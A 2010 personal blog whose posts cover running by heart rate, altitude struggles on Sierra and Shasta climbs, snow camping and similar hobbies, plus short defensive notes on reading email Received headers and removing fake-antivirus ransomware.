The gym wasn't crowded and was decently cool. There was a Lacrosse game going on in the closest field to me that I could watch and ponder if Lacrosse really did have rules as they claim.

I entered in my info to the treadmill and chose a starting speed of 5.0 mph which is the speed I'd been working at. My idea was every time my heart rate got to 150-151 bpm, I would decrease my speed by 0.1-0.2 mph, even past the point of what I considered ridiculous.

Very quickly I decreased my speed to 4.8 mph
Then sometime after that to 4.6 mph

At that speed I passed 1.0 mile and then 1.25 miles. No leg drag. Somewhere in there I dropped it down to 4.4 and then not long after that was around 4.0 mph, but I was still running and no leg drag (and I'm starting to marvel at this). 2 miles passed and I was still ok. (Whoa). Then my pulse started to climb and I dropped it into the 3.8 range which is a really fast walk for some people, but I was definitely jogging and getting a good benefit from it and was in the middle of being amazed that I was still going. I stopped paying as much attention to the details as I was so far past my goals but when I hit 2.85 I realized that I might be able to make 5K (3.25). Dropping my speed to 3.6 mph and even occasionally as low as 3.5 mph worked. I discovered this a little while back on a different run. Going really slow can be beneficial and a great confidence booster.

My foot started to get sore so I finally stopped at 55 minutes and 3.63 miles which is the furthest I've ever run in one session and I didn't stop to walk at all. All this from keeping my pulse right at or just under 150 bpm. I was never out of breath and at 160 bpm (90% MHR) I definitely get that way. As I got further into the run I had to pay more attention on my foot placement but I was not battling chronic leg drag.

So the lessons were. Do what works for you. Though definitely use outside advice as a guide, but do what works for your body. I had to mentally get past running so slow, but that was an excellent workout for me. I can speed up later as my endurance improves.

It's also kinda cool that I got past the 5k limit as then if I wanted to I could enter a 5k run though things change when you're the one controlling the speed (instead of the treadmill) and other people are whizzing by you and you can't help but want to speed up, but that's another challenge for another day. I'm going to celebrate this milestone. i think it's time to make chocolate chip cookies.

Friday, September 10, 2010

Endurance Training

So I've been working on increasing the level of intensity that I can work at. This means that I can function at 90% of my max heart rate.

However I'm finding that my endurance has not increased very much and it's possibly why at altitude that I quite literally run out of oxygen and my muscles stop functioning very well. I have always thought it was the altitude since it always happens at particular elevations and that might have something to do with it, but it could be that I can only maintain working at 90% for so long.

Aerobic training (the kind where you can continue on indefinitely) is more around 85% of your max heart rate so I think I need to spend some time forcing myself to stay at that rate which is surprisingly hard when you have the illusion that you can go faster/harder.

One reason it's taken me this long to figure this out is that I only recently addressed the issue of my getting too hot. When I over heat I tire very quickly and start to trip over my own feet. I finally figured out if I wear a one piece bathing suit with a mostly open back, then the air is able to move around my back and keeps me cooler (I wear shorts too to keep the ridiculous look under control.) During the very first workout I was able to go longer, but still ran into a wall at just past 2 miles, so now I can start to work on the endurance angle more.

This makes me think that when I climb Mt Hoffman I should wear a heart rate monitor (what a great tool), and try to stay at 85% and see if I have the same altitude issues.

Thursday, September 09, 2010

The Cell Phone Tower Fake Trees

I remember the first few times I saw a cell phone tower disguised as a tree. There was something very subtle about it. I think I had time to look at it while driving by (perhaps I was a passenger). It was this niggling, "hmmmmm" double take sort of thing. "There's something funny about that tree. Hey wait a sec that's not a real tree!" (Cue dramatic Sherlock Holmesian music) I remember I felt I had discovered something.

Then it was "What does it do?" Something made me glance at my phone and the bars were so maxed out I thought they'd fall off the display. "Er, gee you think it has to do with cell phones."

Multiple fake tree sightings have verified this and a quick Google confirmed it. And why didn't I do that when I first saw one? Maybe it's the quest and the weird intrigue about something hiding in plain sight.

Now I see them all the time. They totally jump out and I can cheerfully (what a geek) say look a fake tree, just like I was pointing out a Red Tail Hawk or something.


Of course disguising cell towers isn't just limited to trees.
This church has turned a macbre sculpture of a crucified Jesus into a cell phone tower.

A friend has also been photographing these anominallies:
Here's one on 101 N that has what appears to be two towers.

But her favorite is the magic pine tree that appears amongst all the palm trees in the middle of the desert off of I-210. I guess palm trees were on back order and that Home Depot had just run out. Brilliant.

Wednesday, September 08, 2010

Pushing a Bike Uphill is Great Exercise

I've discovered that if you're willing to push your mountain bike up hills that you can't ride up, you get great upper body (more like full body) exercise. Suddenly you have an excellent crosstraining solution. Certainly no shame in that. And the best part is you get to ride the bike down. Wheee! Especially on Mt. Diablo's fireroads that appear to be covered with a fine ball bearing gravel which I've slipped on more that once and have since bought cleats for this is very much a feature.

If you are willing to mix the two (walking and riding) you will find yourself going places that you couldn't of before. Just remember to bring plenty of food and water as you can go further than you would of anticipated.

More Altitude Thoughts

So the dilemma is. How do you ascend gradually when no places to stop exist?

Do you sleep as high as you can?
Above 8000' when I've increased my sleeping altitude more than 1500' I've gotten ill.
What's weird is that i can drive up to 10k' and been able to sleep ok, but walking up to that
elevation from 8500' is much harder.
Do you sleep a bit lower where you will likely get more rest but have to climb further?
At that lower elevation how long do you spend there? 1 day, 2 days, more?
I tend to still hit a wall at some point.
Or do you just take a longer (2-6 hours) break while ascending?
Tempting to try this. I've done a shorter version of this a few times which helps a little.
Or do you just suffer?
Which I know isn't terribly effective for me.

I'm going to Yosemite soon and I have to figure out how I want to do this. I think I need to see how high I can climb if i spend the night at a fairly high altitude. Tuloumne Meadows Campground is at 8600', but Whitney Portal is at 8350' and I know that with a 35-40# backpack I can only get up to Lone Pine at 9885' before I start to struggle and limp into Outpost Camp at 10,360'. So likely the only thing I would learn is whether I would do better without a heavy pack.

This all makes me crazy. Whitney I can likely find ways to make it work but other climbs like Shasta and Ranier break all of those altitude rules that my body seems to really like. There just aren't places to camp above a certain point. Sigh.

The altitude increase basics are no more than 1000' elevation gain in a 24 hour period (above say 8000'). I can do 1500', but when I try to do 2000' is when I often get ill. Everybody else gets to break these rules why can't I?

Mt Shasta Personal High Point and Futher Elevation Expermiments

More elevation navel gazing.

So on my most recent trip to Mt. Shasta with effort I got up to 11,125'.
I spent the night at Horse Camp (7900') and then we had porters lug our heavier equipment up to 50-50 at 9600'. With a night's sleep at Horse Camp I had no problem getting up to 9600'. Though a night's sleep at 50-50 didn't seem to make too much difference as it was still a struggle for me though at least this time I got past Helen "Lake" (10,400') and on to 11,125'.

Twice before I've climbed to Helen from Horse Camp. Sometimes it's easy sometimes it's not. I can't quite figure it out. I do wonder if I had spent another night at 50-50 if that would of made much difference but some while back on a group trip on the Hidden Valley route we spent two nights there and my climbing was still severely compromised despite being in excellent shape.

This is all starting to look like I might want to focus more on climbing on packed dirt (i.e. not scree and loose rock) since that's easier than snow, though when the snow is firm there's little difference between it and dirt. But snow softens through out the day and when the surface steepens and the day progresses you will find yourself kicking steps into the snow which takes effort. Even when you're using crampons you have to focus more on foot placement and that takes more effort than just hiking on a trail.

On dirt I've been past 13,000' and one time when we were up camping comfortably at 12,000' in the Mitre basin I know I could have summited Mt Whitney (whose newly remeasured altitude is 14,505') had I been anywhere near a good trail instead of trying not to slide down Crab Tree pass (12,600'). I've also been at Lower Boy Scout Lake and was able to climb past 13,000'. I've also been ill at LBSL and didn't recover even after a couple of days. Maddening.

In the Mitre Basin we slept at
Horseshoe Meadow Trailhead 10,200'
Some unidentified spot at 11,000' (what a slog that was because of the sand on the Pacific Crest Trail)
Then we went up through the Mitre Basin and slept at an unnamed lake just past Sky Blue Lake which was at 12,000.
Then I climbed up to nearly 13,000'.
At no time was I ill - I had a mild headache from driving up to Horseshoe Meadows, but it got better.

SO with a gradual ascent I am fine. Trouble is most climbs aren't nearly so accommodating in that respect. Counter intuitively starting high makes things easier because you're not expending nearly so much oxygen and energy, but that has its limits. It's tempting to test this out in Estes Park CO and at Hawaii's big island.

I had this idea that I'd drive up to Yosemite and climb Mt. Hoffman (10,850') twice to see if there was any difference between the first day and spending the night at 8200' and then doing it again. The other approach would be to drive up and do almost nothing and then try the climb the next day. (Maybe even try something higher like Mt Dana.)

The other funny thing is that I seem to have an internal altimeter. I hit a wall at 7200' and at 9600', but can adapt with time (usually an overnight), but if I'm tired I don't always adjust to 9600'. I'm also going to maybe not use Diamox, but instead use Aspirin to see if that makes a difference, because it thins your blood.

So I don't know how I'll get up Shasta. I know I can get up Whitney (need to get a permit for next year come Feb), but Shasta doesn't offer higher places to camp (besides the crowded and not pleasant Lake Helen). I need to find a way I can camp high without getting ill (by increasing my sleeping elevation no more than 1500') and then climb higher.

Tuesday, September 07, 2010

Deep Cave Exploration - Yikes!

In my continuing quest to be very well read and well watched in things I would never do on my own, I'm listening to a book on Deep Caving called Blind Descent (

Now I like tourist caves where you go and see all the cool formations that form from something being dripped on or from for many millennia. They are beautiful.

I also like hiking and climbing up mountains partially for the physical challenge, but mostly for the view really, and to spend time in a lovely environment, breath some fresh air and just to get outside the box.

Deep caving offers precisely none of these features save for the extreme physical challenge.

To risk sounding like Andy Rooney. I don't get it.

To be fair I'm only half way through, though I have little doubt my view will change much. [I'm much further now and I was right.]

Features of deep caves
  • pitch blackness, no light at all, you are totally dependent on artificial illumination
  • they are flooded much of the year and such are very wet
  • they are surprisingly noisy because of wind
  • your sleeping accomodations might be a narrow wet ledge that you have to worry about rolling off ot
  • you go down first so when you "top out" you now have the hardest part of the climb still to go
  • there are myriad ways to die and nearly no help is available or what is is days away.
  • similar to mountaineering even the simplest of injuries are much more difficult to manage, even worse than mountaineering is the possibility of infection because of all the wet, dust, and silt is much higher. And the no help factor too.
Remarkably the main guy who leads a lot of the effort to discover the deepest cave seems pretty sane. His name is Bill Stone (ha) and you can see him speaking here at a Google "TED" conference:

National Geographic took at interest and has some information here:
and here

You can also learn to be a cave diver. That is also another thing that the touristy "oh look all the cool sealife" totally is appealing to me, but when you get down that deep it more looks like this photo of the US Deep Caving Team's webpage:
completely empty of life (well mostly).

As one reviewer of the book said. "It's all kinda creepy in a way." You are deliberately placing yourself in a really strange environment simply because no one else has yet been there. It is the last frontier on this Earth. Quite literally a journey towards the center of the Earth, and how people deal with being obsessed with finding the deepest cave in existence.

Of course the first or second thing that occurs to me is that this is a moving target in a way. Water, volcanoes and earthquakes are constantly reshaping the Earth. What is the lowest point now is very likely not going to continue that way for too long, but we are talking geologic time so it may not matter.

Saturday, September 04, 2010

The Churchill Downs Reality Check

There is going to be a National Dog Agility event in Louisville and some folks who are going are really interested in seeing Churchill Downs. I had to warn them about how disappointed I was when I finally got to see it many years ago. Churchill Downs is in the middle of Louisville, just like Santa Anita is right in the middle of Los Angeles. When I was there I had just seen Lexington and was so impressed by its beauty. I had this wonderous romatic visions of Churchill Downs when we arrived in Louisville. Wow what a let down.

This is what I was picturing (this is a track somewhere in Lexington.)

This shows what the area really looks like - I was so bummed:
Here is a link where you can view it yourself,+Louisville,+KY&sll=37.0625,-95.677068&sspn=50.424342,76.640625&ie=UTF8&hq=Churchill+Downs&hnear=Churchill+Downs,+Louisville,+Jefferson,+Kentucky+40214&ll=38.202408,-85.770521&spn=0.024652,0.037422&t=h&z=15

Thursday, August 19, 2010

A "New" Bike with a History

Some while ago I sold my road bike because it really didn't fit me and left me in pain when I rode it because I was reaching too far.

Now I've been road bike less for a while now and it does bug me as though I love my mountain bike there are things that a road bike does so much better such as climbing hills on roads and going really fast.

I was lamenting this to a coworker and another coworker said that he was selling a road bike that belonged to his daughter who he just lost from breast cancer. Pause. Really? Turns out that we are of similar height.

So he brought it in and even though it's not the smallest size available for women, it's smaller than the one I sold. After I rode it and measured it a bunch and agonized about it with Terri, I decided to buy it.

The oddest thing for me is that this bike used to belong to a woman who was younger than me, and who is gone. I feel as if I'm riding a ghost's bike. A very recent ghost. It's a weird feeling. I sometimes think I feel her old presence, but I could be imaging it too.

I have quite a bit of emotion tied up in bikes as it is and I'm trying to reassure myself that if this one doesn't work out that it's not a big deal and I can always get the 43cm frame instead. This one is a 47cm. The 43 is a sloping top tube, but has an "effective top tube length" that is an inch shorter.

The other thing is that buying a used bike is way cheaper than the 4 figure price that new bikes cost, so in once sense this is buying me time and giving me a chance to figure out if I love it enough to make time for it.

Bike riding used to be tied up with pain and frustration and feelings of failure for me as bikes didn't fit women very well in the 80's and I and a ton of other women were reaching too far, and leaning too far forward and hence getting pain in the crotch area. I was also getting hand/wrist pain because my tendinitis wasn't being properly treated as I was still thinking that I needed to work through the pain. Nope. The solution to Tendinitis is rest, ice, anti-inflamatories, and more rest. And then gradual reintroduction to the activity - and for heaven's sake stop feeling like a failure.

So while I'm worried about this new-to-me bike I'm telling myself that this really isn't a big deal and I should just enjoy it.

Thursday, July 29, 2010

Costs of Flying your Dog in the Cabin

Ok so it's a dog post on the nondogblog - we'll just have to cope won't we?

I try to keep track of how much it will cost to bring my dog along with me in s plane. It used to be cheaper than boarding but no longer. I do pine for the days when I could bring my dog along with me for $50 each way. That said the rules are slightly more reasonable as it used to be one animal per cabin and that sometimes was an issue, now the number is higher.)

Here is my latest walk through of major airlines. Note pet policies are very difficult to find on airline websites. Absolutely the fastest way it is to google: (airlinename) pet

In cabin flying of pets

Alaska Air
$100 each way

$100 each way

$125 each way

$125 each way - domestic
$200 international
$75 Brazil (Go figure)

Northwest (See Delta)

$75 each way

US Airways
$100 each way

$125 each way,,53410,00.html

So does this mean that my dog will be joining us next time I go up to Seattle? I'd like to think so but I don't know. He's happy where he's boarded and that would be cheaper. The other dog stays with a friend and even though she'd rather be with us, it would take wanting to take $200 and set it on fire. I even went to all the trouble to find a carrier that fits them and fits under the seat. Sigh.

Sunday, July 18, 2010

Aerial Dance

It's amazing to me what happens when I stop paying attention. Sometimes, I'm not the only one imagining what's possible and even better is when someone actually does something about it.

One thing that I haven't taken enough time to explore is Dance. The problem is that there aren't many forms of dance that really speak to me, but there are some huge exceptions. Contact Improvisation for one (which I first saw at 848 Divisadero now called CounterPULSE) - there is nothing as beautiful as dancers working off each others bodies to create something more that each one could do. other things I love are ones that get the dancers completely off the ground such as Cirque du Soleil (their most recent show Ovo's final is incredible and has people bouncing from the ground and up on to the wall. Details here.) and Streb.

Also as I write the above I realize that I'm forgetting some really influential dancers in SF that were loosely associated with 848 but have moved on. Keith Hennessey (now Circo Zero) and Jess Curtis come first to mind, but there is also Scott Wells and Kathleen Hermesdorf, and many others.

I think it was Streb that had the dancers on the wall and this completely stirred my imagination and I was coming up with all sorts of dance/aerial stuff that I'd like to create. But that's where I left it. 848 was hard for me to get to on a Tues afternoon, and Streb is in freakin' Brooklyn, plus quite honestly I find the dance world pretty intimidating since I haven't been doing it since I was 6 years old. Every so often I take a class and I get a little frustrated. The 848 one I took was an exception, but still haven't gotten a good enough vision on how to make that work.

But it keeps ghosting at my imagination. SF Circus Center has started classes, and I just heard about a Berkeley dance group called Studio 12 Flys, and my imagination has totally woken back up all of those on-the-wall dance creations that I totally want to create - I have visions of dancers running on the walls. Recreating the regular world rotated by 90 degrees.

Even when I'm being lowered at the rock gym or rappelling which I just learned, I totally want to turn and start bouncing and rolling or turning upside down (which is probably not that safe).

But how to start? It's not like you can roll in and say you want to be a choreographer. I think it's with some of the basic classes and hope I don't get hurt or discouraged - I prefer the one's where you can wear a harness and don't have to be super strong. Check out the arms of those performers you see doing "Ribbon Work." Studio 12 Flys has an intro class here. SF Circus Center has there classes here.

Something about dance in particular makes me want to Do It. I'm terrible at just watching (always have been - even when at a bar with a dance floor). When I see a dance I'm trying to remember the details and I never succeed as that part of my brain that can be shown something once and they get it just hasn't gotten enough practice. Even at gym classes I struggle with remembering patterns. But! Now there is You Tube and I can play and replay videos all I like. I'm suddenly a whole lot happier.

And I also wonder what it is I really want to learn. I know all about harnesses. Don't know much about dancing in one. Then I think well maybe I want to know more about trampolines which aren't just for kids anymore and other things like trapezes (or maybe not). And of course the tricky thing is that I want to learn all of this stuff without getting hurt as while I love (reasonable) risk taking in order to learn a skill, I do take longer to heal now, and have to consider more carefully my activities and vulnerability to injury.

And what do I want to see or explore? Is it more dance or acrobatics which is starting to merge ever since Cirque has been with us. (How cool is that? I have seen every Cirque that has come to town since Allegria.) I looked at the videos of Studio 12 Flys and they are more of the meditative style rather than the acrobatic one that Cirque, 848 and Scott Wells favor. I must admit to prefering the later but it is probably where I'm at right now.

And on a slightly tangential note it is interesting how acrobatics has worked it's way into all sorts of things. It's always been in skateboarding, ski stunt jumping, sky diving, airplane acrobatics, and even frisbee dog, but now can be seen in snowboarding, windsurfing, regular surfing (some), bmx, motocross tricks, base jumping (because it's not dangerous enough?). Haven't seen it much in rock climbing, but give them time they're certainly talented enough for it.

It may be hard for me to sleep tonight.

Sunday, July 11, 2010

Barbie could be a Snow Camper

I love snow camping and never knew that I would.

I should probably be more specific. I like camping on snow, but not necessarily winter camping. I like snow camping in mild temperatures that are cool enough at night to keep the snow around, but warm enough during the day to relax and not have to pay so much attention to survival issues.

People have these images of snow camping being challenging and difficult. Not really. Save for having to melt now for water it's not all that different.

There are some benefits that I didn't anticipate.

#1 is that you stay cleaner. When someone mentioned this to me, I didn't think too much about it until I went camping in dirt again. Suddenly I'm very much: "Ewgh I'm dirty. There's grim under my fingernails and I can't get it out, and my pants are stiff with crud." Suddenly I'm this big dirt wuss This doesn't happen in snow. No dirt under the fingernails and you can rinse things by just wiping them in carefully selected snow. Your clothing doesn't get stiff with brown stuff and if it gets wet it dries fairly quickly. (You're also not wearing the traditional pants, but more stretchy underwear with snowpants on top.)

#2 is that with snow and a small shovel and daylight, you can play house all you like
You can make a level surface or you can have a sunken bedroom complete with walls to protect you from the wind. You can make tables and other platforms, and have a kitchen, you can have a private or semi-private bathroom. Heck if you're ambitious you can even dig your own snow cave (I don't bother - too much work.)

But what about the cold? Well in Spring it's often not that cold. Laying on the snow? Well you choose well for sleeping bags (mine is a -5 degree down bag that fits me very well.) and you choose very carefully what pad you use. My most recent purchase is a Thermarest NeoAir and it's just awesome at keeping the cold away, and way better than their other pads mostly because it's actually a modern air mattress.

What amazes me is that in the snow I can wear the same thing for days (except for underwear and sock linings) and I don't notice. I very much notice when I'm somewhere else in that kind of situation (even dog agility).

So Barbie might be an ok snow camper.

Tuesday, July 06, 2010

Wait, You're not Supposed to Die on Mt. Shasta

Mt. Shasta is indeed a real mountain, but the easiest route is very forgiving of beginners who have some training in the basics (how to stop yourself from falling using an ice axe being the most important) and some instruction in when not to be on the mountain (afternoons being the worst.)

I've always contended that with respect to snow, Mt. Shasta is safer than the very popular Mt. Whitney because there is a nice long place for someone to tumble down if they fall. Whitney's snow has a whole bunch of boulders around. If you fall on Shasta you will likely get hurt, but dying is not common.

But this year has been more than a little exciting on my favorite mountain. First there was a experience climber who got stranded by weather on the summit and subsequently tragically died of HACE (High Altitude Cerebral Edema).

Then things were back to a more extreme version of normal with rain and then extended cold weather creating a whole bunch of ice and very slick conditions and the week before I was there with stellar weather there were 7 rescues of fallen climbers. Lots of broken bones and teeth and a whole lot of bruises and some serious mental trauma for those who got to see someone tumble past them at 50mph (do not try to stop them), but no fatalities.

Well. I was on the phone to my mother-in-law who lives near there and she asked if I'd heard about the Bay Area woman who was killed on Shasta today. WHAT?! Fortunately the computer was on. Not a lot of details yet just the same short AP article everywhere:

Kathi Jeanne Ludwig, 56, was climbing the mountain when she was struck by a watermelon sized boulder at 11,000'. She later died of her injuries. I am so very sorry, and offer my deepest condolences to her husband and her family.

But there's so much of the story that we don't know, and I hope to learn.
We don't know where she was or what time or if they were going up or down. We do know that it was a group and there were two guides but we don't know the guide service.

On June 26th we were climbing on the "Avalanche Gulch" route which despite its name is the easiest way to climb the mountain. The key is that you need to be climbing in the morning when everything is frozen into place. Climbers start around midnight to 4am (an "alpine start") to maximize their safe climbing time and noon is usually a turn around time.

Because of altitude sensitivity, I don't climb well above 9600' and so had just slogged up to that very same altitude of 11,000'. As my climbing partner and I were talking, above us on the route we hear what you don't like hearing. "ROCK!" I assure you this is not about music. It means that a rock has been dislodged and is now falling towards you. Luckily for us the dislodgers were a few 100' above us and slightly to the right of us. What was impressive was the rock keep falling and falling in almost what looked like slow motion. While it's mesmerizing to watch you have to get ready to take action if you have the time.

I tell my climbing partner that if the rock keeps coming I want her to leap to the left and arrest (lie face down, holding yourself in position with the ice axe pick dug in the snow). She responded along the lines of "I don't remember signing up for this." I respond "Sorry."

Fortunately for us the sub-volleyball sized rock stopped beside us in a glissade track. Which actually did result in some entertainment as then the climbers above did glissade by. I told one of them "There's your rock" hoping he would stop and move it but I don't think he realized it was in a glissade track (he was in a different one) and he kept on going. Then very soon after someone was using that track and "There's a rock in front of you." definitely got a cartoon-like flailing over-reaction.

We then commenced on my favorite activity on Shasta: glissading. Probably the best time you can have on your cold butt. I love it. (Again you have to know how to stop.) Someone videoed themselves doing it here and here.

So 11,000' is associated with fun and frolic and some potential rock dodging, but nothing terribly serious. To think that someone died in the exact spot under similar, but oh so different circumstances, gives me more than a bit of pause.

I await the details and have set a Google Alert so I can track any posted news.
Hopefully I will hear something soon and not have to wait for it to be documented in Accidents In North American Mountaineering for 2010.

I now have more details.
It was on the West Face out of Hidden Valley. An area that has hardly any rock fall.
It was ONE rock.

It is very much in the class of freak accident.

Tuesday, June 22, 2010

sk..., sk.., SKKKKKK...

[Older post that I forgot to publish.]

Last night I had the telescope out to look at planets - is that huge bright thing Mars or Saturn or Venus? I think Mars. Anyway I had positioned it and was letting Terri have a look and while she was looking a creature appeared on the sidewalk (We were on the front lawn.)

At first I thought cat then the movement was all wrong, then a raccoon no that's not either, then what could it b.. EEK.

It was right out of a cartoon. Grabbing Terri's arm and trying not to be alarmist and trying completely unsuccessfully to be calm. Sk, Sk, Skkkk..unk She looks up from the telescope and it's of course gone. HOW? It was right there.

Thursday, June 17, 2010

The Lowly Parentheses: Its important job in email

The parenthesis servers a surprisingly vital role in determining where email really comes from. In the email "headers" are a series of Received lines. The email server inserts vital information about an email's origin inside the parentheses. It is the one bit of information you can rely on.

For example:
This is a falsified Email Received line:
Received: from by; Fri, 18 Jun 2010 02:01:56 0200

The parens are missing completely.

This is a real one;
Received: from ( []) by (8.13.5/8.13.4) with ESMTP id o5HN38he003988;

Another common thing is for a scammer/spammer to falsify the origin of an email, but the Received line rats them out:

A real, but modified example:

Received: from ( [])
by (8.13.5/8.13.4) with SMTP id o5HLswgI022584
for ; Thu, 17 Jun 2010 14:55:11 -0700

The spammer claimed to be from but it really came from because it's what's inside the parens of the Received line that is correct.

These falsifications are sometimes legit (not everyone owns their own email server) but are often not.

Hurray for the parentheses.

Tuesday, June 15, 2010

Fake virus scanners which are really viruses

My work has been getting a blizzard of viruses sent in email recently. It's not a problem as we just block them at the firewall but the intensity is a bit daunting.

They are all of the same flavor.
They send out a very obscurely written Javascirpt (sometimes encoded) and if the person clicks on it when running windows and has administrative privileges then the browser goes off to a site that's been compromised and has the actual virus on it (the Javascript is just a trigger). Downloads and installs the virus.

In the case I've seen it installs a fake virus scanner that claims to find a lot of fake viruses and for a more $50 you can get the "license key." If you don't payup then your computer continues to pop up a million windows and pretty much won't let you do anything. Symantec and other virus scanners are disabled and the task manager won't run. We call this "Ransomware."

One of these little creatures is called Protection Center which is stolen from a Microsoft Product, but it's not from Microsoft. You can see a picture of it here:

Best way to deal with it is to reboot into Safe Mode by restarting and pressing F8 repeatedly and then running a virus scan. There are faster ways to kill it by using msconfig.msc and manually deleting it and the associated registry keys but that takes more know how.

While it's actually a very interesting virus I don't fully understand it enought to really expound on it - most of it is non-functional crud and the web addresses have a lot of extra characters that are taken out at the last second. it is very obfuscated but with a little effort you can read it. There is an excellent analysis of it here:

If you have a copy of the base64 virus you can run it through an online base64 decoder and then decode the resulting javascript. What you're looking for is the line that generates the web site. Once I figured out where it was going I stopped but the above link goes further.

As with most things it's better to prevent it from happening in the first place.

If you are a Windows User:

- Don't click on weird links or attachments
- Run as an unprivileged, non-administrative user
- Disable Java in your browser
Firefox 3.0.6: Tools-options - click on Content and uncheck Enable Java
Seamonkey 2.0.4: Edit-preferences - click on Advanced and uncheck Enable Java
internet Explorer 8.0.6001: Tools-internet options - Click Programs, click manage add-ons, click on Java and click disable (along with any associated java add-ons).

Friday, June 04, 2010

"Hanging Out" on Shasta?

I had one of those synchronicity experiences today that you just don't plan on.

I was up at Shasta and the weather was icky and rainy and I had decided not to go on my trip since I had a second trip planned also in June (because this isn't the first time I've been rained out). I was down in the fantastic local mountaineering store asking for an explanation of the confusing topic of Randonee Skiing gear (I'm much less confused now), and the store staff was chatting about a Shasta Mountain Guides trip and I tossed in a bit of info that I knew.

One of the people involved in the conversation was an SMG guide and looked right at me and said "Hey I know you. We hung out together - on the West Face." Now while I go to Shasta a fair bit there are very few people there who recognize me and I wasn't initially familiar with the location, but she looked familiar so I played along for a moment, with the brilliant response of "Really?" "Yeah you do dog shows right?" Oh God she's right obviously. Then I thought to introduce myself and she told me her name and it all came back. I'm totally impressed that she remembered me from a year ago because she guides a lot of people in a season.

The West Face is above Hidden Valley and I've only been there once on an SMG trip, so I wasn't immediately familiar with the term even though it's an obvious feature. It was during that trip where I realized that my altitude issues now prevent me from keeping up with a group. This guide, let's call her L, stayed with me when I fell behind. She was so patient with me. What really amuses me now is that "hang out" is the last thing I'd call my struggling with not enough oxygen in my non-responsive muscles. We did spend some time together and I'd love to hire her as a private guide sometimes. I do hang out when I'm on Shasta but it's at Horse Camp when I'm casually relaxing and chatting with others. Her using the term makes me laugh because of its deliberate absurdity.

What was amazing was when I finally decided to turn around she went back with me (they kinda have to), and then she turned right around and booked back up the incline to catch up with the group. It was still early enough that we were all using headlamps (Travel on snow is easiest when the snow is frozen and that's in the very wee hours.) and I could follow her remarkable progress. She openly admits to being a calorie burning junkie and I can relate to a much smaller extent. The endorphins are hard to beat.

Anyway I mentioned the possibility of maybe hiring her to do a private climb of the lower part of the Cassaval ridge or other routes and she said that they often do things like that.

I so admire good guides. They usually love what they do and it shows.